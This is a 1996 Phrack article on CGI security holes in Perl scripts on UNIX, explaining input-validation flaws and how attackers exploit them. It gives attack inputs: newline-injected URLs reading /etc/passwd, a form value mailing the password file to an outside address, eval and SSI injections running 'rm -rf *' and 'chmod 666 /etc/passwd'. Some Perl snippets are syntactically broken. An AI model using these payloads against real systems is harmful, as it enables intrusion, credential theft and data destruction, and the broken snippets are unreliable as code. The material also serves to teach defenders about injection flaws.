Ключевые слова:security, cgi, perl, (найти похожие документы) Subject: [Phrack] CGI Security Holes
.oO Phrack 49 Oo.
Volume Seven, Issue Forty-Nine
File 08 of 16
CGI Security Holes
--------------------------------------------------------------------------
by Gregory Gilliss
This article will discuss the Common Gateway Interface, its
relationship to the World Wide Web and the Internet, and will endeavor to
point out vulnerabilities in system security exposed by its use. The UNIX
operating system will be the platform central to this discussion.
Programming techniques will be illustrated by examples using PERL.
1. Introduction
The Common Gateway Interface (CGI) is an interface specification that
allows communication between client programs and information servers which
understand the Hyper-Text Transfer Protocol (HTTP). TCP/IP is the
communications protocol used by the CGI script and the server during the
communications. The default port for communications is port 80 (privileged),
but other non-privileged ports may be specified.
CGI scripts can perform relatively simple processing on the client
side. A CGI script can be used to format Hyper-Text Markup Language (HTML)
documents, dynamically create HTML documents, and dynamically generate
graphical images. CGI can also perform transaction recording using standard
input and standard output. CGI stores information in system environment
variables that can be accessed through the CGI scripts. CGI scripts can also
accept command line arguments. CGI scripts operate in two basic modes:
- In the first mode, the CGI script performs rudimentary data
processing on the input passed to it. An example of data processing is the
popular web lint page that checks the syntax of HTML documents.
- The second mode is where the CGI script acts as a conduit for data
being passed from the client program to the server, and back from the
server to the client. For example, a CGI script can be used as a front end
to a database program running on the server.
CGI scripts can be written using compiled programming languages,
interpreted programming languages, and scripting languages. The only real
advantage that exists for one type of development tool over the other is that
compiled programs tend to execute more quickly than interpreted programs.
Interpreted languages such as AppleScript, TCL, PERL and UNIX shell scripts
afford the possibility of acquiring and modifying the source (discussed
later), and are generally faster to develop than compiled programs.
The set of common methods available to CGI programs is defined in
the HTTP 1.0 specification. The three methods pertinent to this discussion
are the `Get` method, the `Post` method, and the `Put` method. The `Get`
method retrieves information from the server to the client. The `Post`
method asks the server to accept information passed from the client as input
to the specified target. The `Put` method asks the server to accept
information passed from the client as a replacement for the specified target.
2. Vulnerabilities
The vulnerabilities caused by the use of CGI scripts are not
weaknesses in CGI itself, but are weaknesses inherent in the HTTP
specification and in various system programs. CGI simply allows access to
those vulnerabilities. There are other ways to exploit the system security.
For example, insecure file permissions can be exploited using FTP or telnet.
CGI simply provides more opportunities to exploit these and other security
flaws.
The CGI specification provides opportunities to read files, acquire
shell access, and corrupt file systems on server machines and their attached
hosts. Means of gaining access include: exploiting assumptions of the
script, exploiting weaknesses in the server environment, and exploiting
weaknesses in other programs and system calls. The primary weakness in
CGI scripts is insufficient input validation.
According to the HTTP 1.0 specification, data passed to a CGI script
must be encoded so that it can work on any hardware or software platform.
Data passed by a CGI script using the Get method is appended to the end of a
Universal Resource Locator (URL). This data can be accessed by the CGI
script as an environment variable named QUERY_STRING. Data is passed as
tokens of the form variable=value, with the tokens separated by ampersands
(&). Actual ampersands, and other non-alphanumeric characters, must be
escaped, meaning that they are encoded as two-digit hexadecimal values.
Escaped characters are preceded by a percent sign (%) in the encoded URL. It
is the responsibility of the CGI script to escape or remove characters in
user supplied input data. Characters such as '<' and '>', the delimiters for
HTML tags, are usually removed using a simple search and replace operation,
such as the following:
----------------8<----------------------------------------------------------
# Process input values
{$NAME, $VALUE) = split(/=/, $_); # split up each variable=value pair
$VALUE =~ s/\+/ /g; # Replace '+' with ' '
$VALUE =~ s/%([0-9|A-F]{2})/pack(C,hex,{$1}}/eg; # Replace %xx characters with ASCII
# Escape metacharacters
$VALUE =~ s/([;<>\*\|'&\$!#\(\)\[\]\{\}:"])/\\$1/g;# remove unwanted special characters
$MYDATA[$NAME} = $VALUE; # Assign the value to the associative array
----------------8<----------------------------------------------------------
This example removes special characters such as the semi-colon
character, which is interpreted by the shell as a command separator.
Inclusion of a semi-colon in the input data allows for the possibility
of appending an additional command to the input. Take note of the forward
slash characters that precede the characters being substituted. In PERL, a
backslash is required to tell the interpreter not to process the following
character.*
The above example is incomplete since it does not address the
possibility of the new line character '%0a', which can be used to execute
commands other than those provided by the script. Therefore it is possible to
append a string to a URL to perform functions outside of the script. For
example, the following URL requests a copy of /etc/passwd from the server
machine:
http://www.odci.gov/cgi-bin/query?%0a/bin/cat%20/etc/passwd
The strings '%0a" and '%20' are ASCII line feed and blank respectively.
The front end interface to a CGI program is an HTML document called a
form. Forms include the HTML tag <INPUT>. Each <INPUT> tag has a variable
name associated with it. This is the variable name that forms the left hand
side of the previously mentioned variable=value token. The contents of the
variable forms the value portion of the token. Actual CGI scripts may
perform input filtering on the contents of the <INPUT> field. However if the
CGI script does not filter special characters, then a situation analogous to
the above example exists. Interpreted CGI scripts that fail to validate the
<INPUT> data will pass the data directly to the interpreter. **
Another HTML tag sometime seen in forms is the <SELECT> tag.
<SELECT> tags allow the user on the client side to select from a finite set
of choices. The selection becomes the right hand side of the variable=value
token passed to the CGI script. CGI script often fail to validate the
input from a <SELECT> field, assuming that the field will contain only
pre-defined data. Again, this data is passed directly to the interpreter for
interpreted languages. Compiled programs which do not perform input
validation and/or escape special characters may also be vulnerable.
A shell script or PERL script that invokes the UNIX mail program may
be vulnerable to a shell escape. Mail accepts commands of the form
'~!command' and forks a shell to execute the command. If the CGI
script does not filter out the '~!' sequence, the system is vulnerable.
Sendmail holes can likewise be exploited in this manner. Again, the key is
to find a script that does not properly filter input characters.
If you can find a CGI script that contains a UNIX system() call with
only one argument, then you have found a doorway into the system. When the
system() function is invoked with only one argument, the system forks a
separate shell to handle the request. When this happens, it is possible to
append data to the input and generate unexpected results. For example, a
PERL script containing the following:
system("/usr/bin/sendmail -t %s < %s", $mailto_address < $input_file");
is designed to mail a copy of $input_file to the mail address specified in
the $mailto_address variable. By calling system() with one argument, the
program causes a separate shell to be forked. By copying and modifying the
input to the form:
<INPUT TYPE="HIDDEN" NAME="mailto_address"
VALUE="address@server.com;mail cracker@hacker.com </etc/passwd">
we can exploit this weakness and obtain the password file from the server. ***
The system() function is not the only command that will fork a new
shell. the exec() function with a single argument also provides the same
exposure. Opening a file and piping the result also forks a separate shell.
In PERL, the function:
open(FILE, "| program_name $ARGS");
will open FILE and pipe the contents to program_name, which will run as a
separate shell.
In PERL, the eval command parses and executes whatever argument is
passed to it. CGI scripts that pass arbitrary user input to the eval command
can be used to execute anything the user desires. For example,
$_ = $VALUE;
s/"/\\"/g # Escape double quotes
$RESULT = eval qq/"$_"/; # evaluate the correctly quoted input
would pass the data from $VALUE to eval essentially unchanged, except for
ensuring that the double quote don't confuse the interpreter (how nice of
them). If $VALUE contains "rm -rf *", the results will be disastrous. File
permissions should be examined carefully. CGI scripts that are world
readable can be copied, modified, and replaced. In addition, PERL scripts
that include lines such as the following:
require "cgi-lib";
are including a library file named cgi-lib. If this file's permissions are
insecure, the script is vulnerable. To check file permissions, the string
'%0a/bin/ls%20-la%20/usr/src/include" could be appended to the URL of a CGI
script using the Get method.
Copying, modifying, and replacing the library file will allow users
to execute command or routines inside the library file. Also, if the PERL
interpreter, which usually resides in /usr/bin, runs as SETUID root, it is
possible to modify file permissions by passing a command directly to the
system through the interpreter. The eval command example above would permit
the execution of :
$_ = "chmod 666 \/etc\/passwd"
$RESULT = eval qq/"$_"/;
which would make the password file world writable.
There is a feature supported under some HTTPD servers called Server
Side Includes (SSI). This is a mechanism that allows the server to modify
the outgoing document before sending it to the client browser. SSI is a
*huge* security hole, and most everyone except the most inexperienced
sysadmin has it disabled. However, in the event that you discover a site
that enables SSI,, the syntax of commands is:
<!--#command variable="value" -->
Both command and 'tag' must be lowercase. If the script source does not
correctly filter input,input such as:
<!--#exec cmd="chmod 666 /etc/passwd"-->
All SSI commands start with a pound sign (#) followed by a keyword.
"exec cmd" launches a shell that executes a command enclosed in the double
quotes. If this option is turned on, you have enormous flexibility with what
you can do on the target machine.
3. Conclusion
The improper use of CGI scripts affords users a number of
vulnerabilities in system security. Failure to validate user input, poorly
chosen function calls, and insufficient file permissions can all be exploited
through the misuse of CGI.
* Adapted from Mudry, R. J., Serving The Web, Coriolis Group Books, p. 192
** Jennifer Myers, Usenet posting
*** Adapted from Phillips, P., Safe CGI Programming,
